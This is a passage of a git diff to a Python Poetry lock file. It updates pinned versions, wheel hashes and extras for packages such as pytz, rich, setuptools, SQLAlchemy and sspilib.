"pyreadline3-3.5.4.tar.gz", hash = "sha256:8d57d53039a1c75adba8e50dd3d992b28143480816187ea5efbd5c78e6c885b7"}, +] + +[package.extras] +dev = ["build", "flake8", "mypy", "pytest", "twine"] + [[package]] name = "pyspnego" version = "0.11.1" @@ -1933,13 +2040,13 @@ defusedxml = ["defusedxml (>=0.6.0)"] [[package]] name = "pytz" -version = "2024.1" +version = "2024.2" description = "World timezone definitions, modern and historical" optional = false python-versions = "*" files = [ - {file = "pytz-2024.1-py2.py3-none-any.whl", hash = "sha256:328171f4e3623139da4983451950b28e95ac706e13f3f2630a879749e7a8b319"}, - {file = "pytz-2024.1.tar.gz", hash = "sha256:2a29735ea9c18baf14b448846bde5a48030ed267578472d8955cd0e7443a9812"}, + {file = "pytz-2024.2-py2.py3-none-any.whl", hash = "sha256:31c7c1817eb7fae7ca4b8c7ee50c72f93aa2dd863de768e1ef4245d426aa0725"}, + {file = "pytz-2024.2.tar.gz", hash = "sha256:2aa355083c50a0f93fa581709deac0c9ad65cca8a9e9beac660adcbd493c798a"}, ] [[package]] @@ -1981,19 +2088,19 @@ use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] [[package]] name = "rich" -version = "13.7.1" +version = "13.9.2" description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal" optional = false -python-versions = ">=3.7.0" +python-versions = ">=3.8.0" files = [ - {file = "rich-13.7.1-py3-none-any.whl", hash = "sha256:4edbae314f59eb482f54e9e30bf00d33350aaa94f4bfcd4e9e3110e64d0d7222"}, - {file = "rich-13.7.1.tar.gz", hash = "sha256:9be308cb1fe2f1f57d67ce99e95af38a1e2bc71ad9813b0e247cf7ffbcc3a432"}, + {file = "rich-13.9.2-py3-none-any.whl", hash = "sha256:8c82a3d3f8dcfe9e734771313e606b39d8247bb6b826e196f4914b333b743cf1"}, + {file = "rich-13.9.2.tar.gz", hash = "sha256:51a2c62057461aaf7152b4d611168f93a9fc73068f8ded2790f29fe2b5366d0c"}, ] [package.dependencies] markdown-it-py = ">=2.2.0" pygments = ">=2.13.0,<3.0.0" -typing-extensions = {version = ">=4.0.0,<5.0", markers = "python_version < \"3.9\""} +typing-extensions = {version = ">=4.0.0,<5.0", markers = "python_version < \"3.11\""} [package.extras] jupyter = ["ipywidgets (>=7.5.1,<9)"] @@ -2026,19 +2133,23 @@ files = [ [[package]] name = "setuptools" -version = "71.1.0" +version = "75.2.0" description = "Easily download, build, install, upgrade, and uninstall Python packages" optional = false python-versions = ">=3.8" files = [ - {file = "setuptools-71.1.0-py3-none-any.whl", hash = "sha256:33874fdc59b3188304b2e7c80d9029097ea31627180896fb549c578ceb8a0855"}, - {file = "setuptools-71.1.0.tar.gz", hash = "sha256:032d42ee9fb536e33087fb66cac5f840eb9391ed05637b3f2a76a7c8fb477936"}, + {file = "setuptools-75.2.0-py3-none-any.whl", hash = "sha256:a7fcb66f68b4d9e8e66b42f9876150a3371558f98fa32222ffaa5bced76406f8"}, + {file = "setuptools-75.2.0.tar.gz", hash = "sha256:753bb6ebf1f465a1912e19ed1d41f403a79173a9acf66a42e7e6aec45c3c16ec"}, ] [package.extras] -core = ["importlib-metadata (>=6)", "importlib-resources (>=5.10.2)", "jaraco.text (>=3.7)", "more-itertools (>=8.8)", "ordered-set (>=3.1.1)", "packaging (>=24)", "platformdirs (>=2.6.2)", "tomli (>=2.0.1)", "wheel (>=0.43.0)"] -doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "pyproject-hooks (!=1.1)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier"] -test = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "importlib-metadata", "ini2toml[lite] (>=0.14)", "jaraco.develop (>=7.21)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "jaraco.test", "mypy (==1.11.*)", "packaging (>=23.2)", "pip (>=19.1)", "pyproject-hooks (!=1.1)", "pytest (>=6,!=8.1.*)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=2.2)", "pytest-home (>=0.5)", "pytest-mypy", "pytest-perf", "pytest-ruff (<0.4)", "pytest-ruff (>=0.2.1)", "pytest-ruff (>=0.3.2)", "pytest-subprocess", "pytest-timeout", "pytest-xdist (>=3)", "tomli", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel"] +check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1)", "ruff (>=0.5.2)"] +core = ["importlib-metadata (>=6)", "importlib-resources (>=5.10.2)", "jaraco.collections", "jaraco.functools", "jaraco.text (>=3.7)", "more-itertools", "more-itertools (>=8.8)", "packaging", "packaging (>=24)", "platformdirs (>=2.6.2)", "tomli (>=2.0.1)", "wheel (>=0.43.0)"] +cover = ["pytest-cov"] +doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "pyproject-hooks (!=1.1)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier", "towncrier (<24.7)"] +enabler = ["pytest-enabler (>=2.2)"] +test = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "ini2toml[lite] (>=0.14)", "jaraco.develop (>=7.21)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "jaraco.test", "packaging (>=23.2)", "pip (>=19.1)", "pyproject-hooks (!=1.1)", "pytest (>=6,!=8.1.*)", "pytest-home (>=0.5)", "pytest-perf", "pytest-subprocess", "pytest-timeout", "pytest-xdist (>=3)", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel (>=0.44.0)"] +type = ["importlib-metadata (>=7.0.2)", "jaraco.develop (>=7.21)", "mypy (==1.11.*)", "pytest-mypy"] [[package]] name = "shiv" @@ -2072,71 +2183,79 @@ files = [ [[package]] name = "soupsieve" -version = "2.5" +version = "2.6" description = "A modern CSS selector implementation for Beautiful Soup." optional = false python-versions = ">=3.8" files = [ - {file = "soupsieve-2.5-py3-none-any.whl", hash = "sha256:eaa337ff55a1579b6549dc679565eac1e3d000563bcb1c8ab0d0fefbc0c2cdc7"}, - {file = "soupsieve-2.5.tar.gz", hash = "sha256:5663d5a7b3bfaeee0bc4372e7fc48f9cff4940b3eec54a6451cc5299f1097690"}, + {file = "soupsieve-2.6-py3-none-any.whl", hash = "sha256:e72c4ff06e4fb6e4b5a9f0f55fe6e81514581fca1515028625d0f299c602ccc9"}, + {file = "soupsieve-2.6.tar.gz", hash = "sha256:e2e68417777af359ec65daac1057404a3c8a5455bb8abc36f1a9866ab1a51abb"}, ] [[package]] name = "sqlalchemy" -version = "2.0.31" +version = "2.0.36" description = "Database Abstraction Library" optional = false python-versions = ">=3.7" files = [ - {file = "SQLAlchemy-2.0.31-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:f2a213c1b699d3f5768a7272de720387ae0122f1becf0901ed6eaa1abd1baf6c"}, - {file = "SQLAlchemy-2.0.31-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9fea3d0884e82d1e33226935dac990b967bef21315cbcc894605db3441347443"}, - {file = "SQLAlchemy-2.0.31-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f3ad7f221d8a69d32d197e5968d798217a4feebe30144986af71ada8c548e9fa"}, - {file = "SQLAlchemy-2.0.31-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9f2bee229715b6366f86a95d497c347c22ddffa2c7c96143b59a2aa5cc9eebbc"}, - {file = "SQLAlchemy-2.0.31-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cd5b94d4819c0c89280b7c6109c7b788a576084bf0a480ae17c227b0bc41e109"}, - {file = "SQLAlchemy-2.0.31-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:750900a471d39a7eeba57580b11983030517a1f512c2cb287d5ad0fcf3aebd58"}, - {file = "SQLAlchemy-2.0.31-cp310-cp310-win32.whl", hash = "sha256:7bd112be780928c7f493c1a192cd8c5fc2a2a7b52b790bc5a84203fb4381c6be"}, - {file = "SQLAlchemy-2.0.31-cp310-cp310-win_amd64.whl", hash = "sha256:5a48ac4d359f058474fadc2115f78a5cdac9988d4f99eae44917f36aa1476327"}, - {file = "SQLAlchemy-2.0.31-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f68470edd70c3ac3b6cd5c2a22a8daf18415203ca1b036aaeb9b0fb6f54e8298"}, - {file = "SQLAlchemy-2.0.31-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2e2c38c2a4c5c634fe6c3c58a789712719fa1bf9b9d6ff5ebfce9a9e5b89c1ca"}, - {file = "SQLAlchemy-2.0.31-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bd15026f77420eb2b324dcb93551ad9c5f22fab2c150c286ef1dc1160f110203"}, - {file = "SQLAlchemy-2.0.31-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2196208432deebdfe3b22185d46b08f00ac9d7b01284e168c212919891289396"}, - {file = "SQLAlchemy-2.0.31-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:352b2770097f41bff6029b280c0e03b217c2dcaddc40726f8f53ed58d8a85da4"}, - {file = "SQLAlchemy-2.0.31-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:56d51ae825d20d604583f82c9527d285e9e6d14f9a5516463d9705dab20c3740"}, - {file = "SQLAlchemy-2.0.31-cp311-cp311-win32.whl", hash = "sha256:6e2622844551945db81c26a02f27d94145b561f9d4b0c39ce7bfd2fda5776dac"}, - {file = "SQLAlchemy-2.0.31-cp311-cp311-win_amd64.whl", hash = "sha256:ccaf1b0c90435b6e430f5dd30a5aede4764942a695552eb3a4ab74ed63c5b8d3"}, - {file = "SQLAlchemy-2.0.31-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:3b74570d99126992d4b0f91fb87c586a574a5872651185de8297c6f90055ae42"}, - {file = "SQLAlchemy-2.0.31-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:6f77c4f042ad493cb8595e2f503c7a4fe44cd7bd59c7582fd6d78d7e7b8ec52c"}, - {file = "SQLAlchemy-2.0.31-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cd1591329333daf94467e699e11015d9c944f44c94d2091f4ac493ced0119449"}, - {file = "SQLAlchemy-2.0.31-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:74afabeeff415e35525bf7a4ecdab015f00e06456166a2eba7590e49f8db940e"}, - {file = "SQLAlchemy-2.0.31-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b9c01990d9015df2c6f818aa8f4297d42ee71c9502026bb074e713d496e26b67"}, - {file = "SQLAlchemy-2.0.31-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:66f63278db425838b3c2b1c596654b31939427016ba030e951b292e32b99553e"}, - {file = "SQLAlchemy-2.0.31-cp312-cp312-win32.whl", hash = "sha256:0b0f658414ee4e4b8cbcd4a9bb0fd743c5eeb81fc858ca517217a8013d282c96"}, - {file = "SQLAlchemy-2.0.31-cp312-cp312-win_amd64.whl", hash = "sha256:fa4b1af3e619b5b0b435e333f3967612db06351217c58bfb50cee5f003db2a5a"}, - {file = "SQLAlchemy-2.0.31-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:f43e93057cf52a227eda401251c72b6fbe4756f35fa6bfebb5d73b86881e59b0"}, - {file = "SQLAlchemy-2.0.31-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d337bf94052856d1b330d5fcad44582a30c532a2463776e1651bd3294ee7e58b"}, - {file = "SQLAlchemy-2.0.31-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c06fb43a51ccdff3b4006aafee9fcf15f63f23c580675f7734245ceb6b6a9e05"}, - {file = "SQLAlchemy-2.0.31-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:b6e22630e89f0e8c12332b2b4c282cb01cf4da0d26795b7eae16702a608e7ca1"}, - {file = "SQLAlchemy-2.0.31-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:79a40771363c5e9f3a77f0e28b3302801db08040928146e6808b5b7a40749c88"}, - {file = "SQLAlchemy-2.0.31-cp37-cp37m-win32.whl", hash = "sha256:501ff052229cb79dd4c49c402f6cb03b5a40ae4771efc8bb2bfac9f6c3d3508f"}, - {file = "SQLAlchemy-2.0.31-cp37-cp37m-win_amd64.whl", hash = "sha256:597fec37c382a5442ffd471f66ce12d07d91b281fd474289356b1a0041bdf31d"}, - {file = "SQLAlchemy-2.0.31-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:dc6d69f8829712a4fd799d2ac8d79bdeff651c2301b081fd5d3fe697bd5b4ab9"}, - {file = "SQLAlchemy-2.0.31-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:23b9fbb2f5dd9e630db70fbe47d963c7779e9c81830869bd7d137c2dc1ad05fb"}, - {file = "SQLAlchemy-2.0.31-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2a21c97efcbb9f255d5c12a96ae14da873233597dfd00a3a0c4ce5b3e5e79704"}, - {file = "SQLAlchemy-2.0.31-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:26a6a9837589c42b16693cf7bf836f5d42218f44d198f9343dd71d3164ceeeac"}, - {file = "SQLAlchemy-2.0.31-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:dc251477eae03c20fae8db9c1c23ea2ebc47331bcd73927cdcaecd02af98d3c3"}, - {file = "SQLAlchemy-2.0.31-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:2fd17e3bb8058359fa61248c52c7b09a97cf3c820e54207a50af529876451808"}, - {file = "SQLAlchemy-2.0.31-cp38-cp38-win32.whl", hash = "sha256:c76c81c52e1e08f12f4b6a07af2b96b9b15ea67ccdd40ae17019f1c373faa227"}, - {file = "SQLAlchemy-2.0.31-cp38-cp38-win_amd64.whl", hash = "sha256:4b600e9a212ed59355813becbcf282cfda5c93678e15c25a0ef896b354423238"}, - {file = "SQLAlchemy-2.0.31-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:5b6cf796d9fcc9b37011d3f9936189b3c8074a02a4ed0c0fbbc126772c31a6d4"}, - {file = "SQLAlchemy-2.0.31-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:78fe11dbe37d92667c2c6e74379f75746dc947ee505555a0197cfba9a6d4f1a4"}, - {file = "SQLAlchemy-2.0.31-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2fc47dc6185a83c8100b37acda27658fe4dbd33b7d5e7324111f6521008ab4fe"}, - {file = "SQLAlchemy-2.0.31-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8a41514c1a779e2aa9a19f67aaadeb5cbddf0b2b508843fcd7bafdf4c6864005"}, - {file = "SQLAlchemy-2.0.31-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:afb6dde6c11ea4525318e279cd93c8734b795ac8bb5dda0eedd9ebaca7fa23f1"}, - {file = "SQLAlchemy-2.0.31-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:3f9faef422cfbb8fd53716cd14ba95e2ef655400235c3dfad1b5f467ba179c8c"}, - {file = "SQLAlchemy-2.0.31-cp39-cp39-win32.whl", hash = "sha256:fc6b14e8602f59c6ba893980bea96571dd0ed83d8ebb9c4479d9ed5425d562e9"}, - {file = "SQLAlchemy-2.0.31-cp39-cp39-win_amd64.whl", hash = "sha256:3cb8a66b167b033ec72c3812ffc8441d4e9f5f78f5e31e54dcd4c90a4ca5bebc"}, - {file = "SQLAlchemy-2.0.31-py3-none-any.whl", hash = "sha256:69f3e3c08867a8e4856e92d7afb618b95cdee18e0bc1647b77599722c9a28911"}, - {file = "SQLAlchemy-2.0.31.tar.gz", hash = "sha256:b607489dd4a54de56984a0c7656247504bd5523d9d0ba799aef59d4add009484"}, + {file = "SQLAlchemy-2.0.36-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:59b8f3adb3971929a3e660337f5dacc5942c2cdb760afcabb2614ffbda9f9f72"}, + {file = "SQLAlchemy-2.0.36-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:37350015056a553e442ff672c2d20e6f4b6d0b2495691fa239d8aa18bb3bc908"}, + {file = "SQLAlchemy-2.0.36-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8318f4776c85abc3f40ab185e388bee7a6ea99e7fa3a30686580b209eaa35c08"}, + {file = "SQLAlchemy-2.0.36-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c245b1fbade9c35e5bd3b64270ab49ce990369018289ecfde3f9c318411aaa07"}, + {file = "SQLAlchemy-2.0.36-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:69f93723edbca7342624d09f6704e7126b152eaed3cdbb634cb657a54332a3c5"}, + {file = "SQLAlchemy-2.0.36-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f9511d8dd4a6e9271d07d150fb2f81874a3c8c95e11ff9af3a2dfc35fe42ee44"}, + {file = "SQLAlchemy-2.0.36-cp310-cp310-win32.whl", hash = "sha256:c3f3631693003d8e585d4200730616b78fafd5a01ef8b698f6967da5c605b3fa"}, + {file = "SQLAlchemy-2.0.36-cp310-cp310-win_amd64.whl", hash = "sha256:a86bfab2ef46d63300c0f06936bd6e6c0105faa11d509083ba8f2f9d237fb5b5"}, + {file = "SQLAlchemy-2.0.36-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:fd3a55deef00f689ce931d4d1b23fa9f04c880a48ee97af488fd215cf24e2a6c"}, + {file = "SQLAlchemy-2.0.36-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4f5e9cd989b45b73bd359f693b935364f7e1f79486e29015813c338450aa5a71"}, + {file = "SQLAlchemy-2.0.36-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d0ddd9db6e59c44875211bc4c7953a9f6638b937b0a88ae6d09eb46cced54eff"}, + {file = "SQLAlchemy-2.0.36-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2519f3a5d0517fc159afab1015e54bb81b4406c278749779be57a569d8d1bb0d"}, + {file = "SQLAlchemy-2.0.36-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:59b1ee96617135f6e1d6f275bbe988f419c5178016f3d41d3c0abb0c819f75bb"}, + {file = "SQLAlchemy-2.0.36-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:39769a115f730d683b0eb7b694db9789267bcd027326cccc3125e862eb03bfd8"}, + {file = "SQLAlchemy-2.0.36-cp311-cp311-win32.whl", hash = "sha256:66bffbad8d6271bb1cc2f9a4ea4f86f80fe5e2e3e501a5ae2a3dc6a76e604e6f"}, + {file = "SQLAlchemy-2.0.36-cp311-cp311-win_amd64.whl", hash = "sha256:23623166bfefe1487d81b698c423f8678e80df8b54614c2bf4b4cfcd7c711959"}, + {file = "SQLAlchemy-2.0.36-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:f7b64e6ec3f02c35647be6b4851008b26cff592a95ecb13b6788a54ef80bbdd4"}, + {file = "SQLAlchemy-2.0.36-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:46331b00096a6db1fdc052d55b101dbbfc99155a548e20a0e4a8e5e4d1362855"}, + {file = "SQLAlchemy-2.0.36-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fdf3386a801ea5aba17c6410dd1dc8d39cf454ca2565541b5ac42a84e1e28f53"}, + {file = "SQLAlchemy-2.0.36-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac9dfa18ff2a67b09b372d5db8743c27966abf0e5344c555d86cc7199f7ad83a"}, + {file = "SQLAlchemy-2.0.36-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:90812a8933df713fdf748b355527e3af257a11e415b613dd794512461eb8a686"}, + {file = "SQLAlchemy-2.0.36-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:1bc330d9d29c7f06f003ab10e1eaced295e87940405afe1b110f2eb93a233588"}, + {file = "SQLAlchemy-2.0.36-cp312-cp312-win32.whl", hash = "sha256:79d2e78abc26d871875b419e1fd3c0bca31a1cb0043277d0d850014599626c2e"}, + {file = "SQLAlchemy-2.0.36-cp312-cp312-win_amd64.whl", hash = "sha256:b544ad1935a8541d177cb402948b94e871067656b3a0b9e91dbec136b06a2ff5"}, + {file = "SQLAlchemy-2.0.36-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:b5cc79df7f4bc3d11e4b542596c03826063092611e481fcf1c9dfee3c94355ef"}, + {file = "SQLAlchemy-2.0.36-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:3c01117dd36800f2ecaa238c65365b7b16497adc1522bf84906e5710ee9ba0e8"}, + {file = "SQLAlchemy-2.0.36-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9bc633f4ee4b4c46e7adcb3a9b5ec083bf1d9a97c1d3854b92749d935de40b9b"}, + {file = "SQLAlchemy-2.0.36-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9e46ed38affdfc95d2c958de328d037d87801cfcbea6d421000859e9789e61c2"}, + {file = "SQLAlchemy-2.0.36-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:b2985c0b06e989c043f1dc09d4fe89e1616aadd35392aea2844f0458a989eacf"}, + {file = "SQLAlchemy-2.0.36-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4a121d62ebe7d26fec9155f83f8be5189ef1405f5973ea4874a26fab9f1e262c"}, + {file = "SQLAlchemy-2.0.36-cp313-cp313-win32.whl", hash = "sha256:0572f4bd6f94752167adfd7c1bed84f4b240ee6203a95e05d1e208d488d0d436"}, + {file = "SQLAlchemy-2.0.36-cp313-cp313-win_amd64.whl", hash = "sha256:8c78ac40bde930c60e0f78b3cd184c580f89456dd87fc08f9e3ee3ce8765ce88"}, + {file = "SQLAlchemy-2.0.36-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:be9812b766cad94a25bc63bec11f88c4ad3629a0cec1cd5d4ba48dc23860486b"}, + {file = "SQLAlchemy-2.0.36-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:50aae840ebbd6cdd41af1c14590e5741665e5272d2fee999306673a1bb1fdb4d"}, + {file = "SQLAlchemy-2.0.36-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4557e1f11c5f653ebfdd924f3f9d5ebfc718283b0b9beebaa5dd6b77ec290971"}, + {file = "SQLAlchemy-2.0.36-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:07b441f7d03b9a66299ce7ccf3ef2900abc81c0db434f42a5694a37bd73870f2"}, + {file = "SQLAlchemy-2.0.36-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:28120ef39c92c2dd60f2721af9328479516844c6b550b077ca450c7d7dc68575"}, + {file = "SQLAlchemy-2.0.36-cp37-cp37m-win32.whl", hash = "sha256:b81ee3d84803fd42d0b154cb6892ae57ea6b7c55d8359a02379965706c7efe6c"}, + {file = "SQLAlchemy-2.0.36-cp37-cp37m-win_amd64.whl", hash = "sha256:f942a799516184c855e1a32fbc7b29d7e571b52612647866d4ec1c3242578fcb"}, + {file = "SQLAlchemy-2.0.36-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:3d6718667da04294d7df1670d70eeddd414f313738d20a6f1d1f379e3139a545"}, + {file = "SQLAlchemy-2.0.36-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:72c28b84b174ce8af8504ca28ae9347d317f9dba3999e5981a3cd441f3712e24"}, + {file = "SQLAlchemy-2.0.36-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b11d0cfdd2b095e7b0686cf5fabeb9c67fae5b06d265d8180715b8cfa86522e3"}, + {file = "SQLAlchemy-2.0.36-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e32092c47011d113dc01ab3e1d3ce9f006a47223b18422c5c0d150af13a00687"}, + {file = "SQLAlchemy-2.0.36-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:6a440293d802d3011028e14e4226da1434b373cbaf4a4bbb63f845761a708346"}, + {file = "SQLAlchemy-2.0.36-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:c54a1e53a0c308a8e8a7dffb59097bff7facda27c70c286f005327f21b2bd6b1"}, + {file = "SQLAlchemy-2.0.36-cp38-cp38-win32.whl", hash = "sha256:1e0d612a17581b6616ff03c8e3d5eff7452f34655c901f75d62bd86449d9750e"}, + {file = "SQLAlchemy-2.0.36-cp38-cp38-win_amd64.whl", hash = "sha256:8958b10490125124463095bbdadda5aa22ec799f91958e410438ad6c97a7b793"}, + {file = "SQLAlchemy-2.0.36-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:dc022184d3e5cacc9579e41805a681187650e170eb2fd70e28b86192a479dcaa"}, + {file = "SQLAlchemy-2.0.36-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:b817d41d692bf286abc181f8af476c4fbef3fd05e798777492618378448ee689"}, + {file = "SQLAlchemy-2.0.36-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a4e46a888b54be23d03a89be510f24a7652fe6ff660787b96cd0e57a4ebcb46d"}, + {file = "SQLAlchemy-2.0.36-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c4ae3005ed83f5967f961fd091f2f8c5329161f69ce8480aa8168b2d7fe37f06"}, + {file = "SQLAlchemy-2.0.36-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:03e08af7a5f9386a43919eda9de33ffda16b44eb11f3b313e6822243770e9763"}, + {file = "SQLAlchemy-2.0.36-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:3dbb986bad3ed5ceaf090200eba750b5245150bd97d3e67343a3cfed06feecf7"}, + {file = "SQLAlchemy-2.0.36-cp39-cp39-win32.whl", hash = "sha256:9fe53b404f24789b5ea9003fc25b9a3988feddebd7e7b369c8fac27ad6f52f28"}, + {file = "SQLAlchemy-2.0.36-cp39-cp39-win_amd64.whl", hash = "sha256:af148a33ff0349f53512a049c6406923e4e02bf2f26c5fb285f143faf4f0e46a"}, + {file = "SQLAlchemy-2.0.36-py3-none-any.whl", hash = "sha256:fddbe92b4760c6f5d48162aef14824add991aeda8ddadb3c31d56eb15ca69f8e"}, + {file = "sqlalchemy-2.0.36.tar.gz", hash = "sha256:7f2767680b6d2398aea7082e45a774b2b0767b5c8d8ffb9c8b683088ea9b29c5"}, ] [package.dependencies] @@ -2149,7 +2268,7 @@ aioodbc = ["aioodbc", "greenlet (!=0.4.17)"] aiosqlite = ["aiosqlite", "greenlet (!=0.4.17)", "typing_extensions (!=3.10.0.1)"] asyncio = ["greenlet (!=0.4.17)"] asyncmy = ["asyncmy (>=0.2.3,!=0.2.4,!=0.2.6)", "greenlet (!=0.4.17)"] -mariadb-connector = ["mariadb (>=1.0.1,!=1.1.2,!=1.1.5)"] +mariadb-connector = ["mariadb (>=1.0.1,!=1.1.2,!=1.1.5,!=1.1.10)"] mssql = ["pyodbc"] mssql-pymssql = ["pymssql"] mssql-pyodbc = ["pyodbc"] @@ -2170,41 +2289,47 @@ sqlcipher = ["sqlcipher3_binary"] [[package]] name = "sspilib" -version = "0.1.0" +version = "0.2.0" description = "SSPI API bindings for Python" optional = false python-versions = ">=3.8" files = [ - {file = "sspilib-0.1.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:5e43f3e684e9d29c80324bd54f52dac65ac4b18d81a2dcd529dce3994369a14d"}, - {file = "sspilib-0.1.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:1eb34eda5d362b6603707a55751f1eff81775709b821e51cb64d1d2fa2bb8b6e"}, - {file = "sspilib-0.1.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8ffe123f056f78cbe18aaed6b15f06e252020061c3387a72615abd46699a0b24"}, - {file = "sspilib-0.1.0-cp310-cp310-win32.whl", hash = "sha256:a4151072e28ec3b7d785beac9548a3d6a4549c431eb5487a5b8a1de028e9fef0"}, - {file = "sspilib-0.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:2a19696c7b96b6bbef2b2ddf35df5a92f09b268476a348390a2f0da18cf29510"}, - {file = "sspilib-0.1.0-cp310-cp310-win_arm64.whl", hash = "sha256:d2778e5e2881405b4d359a604e2802f5b7a7ed433ff62d6073d04c203af10eb1"}, - {file = "sspilib-0.1.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = 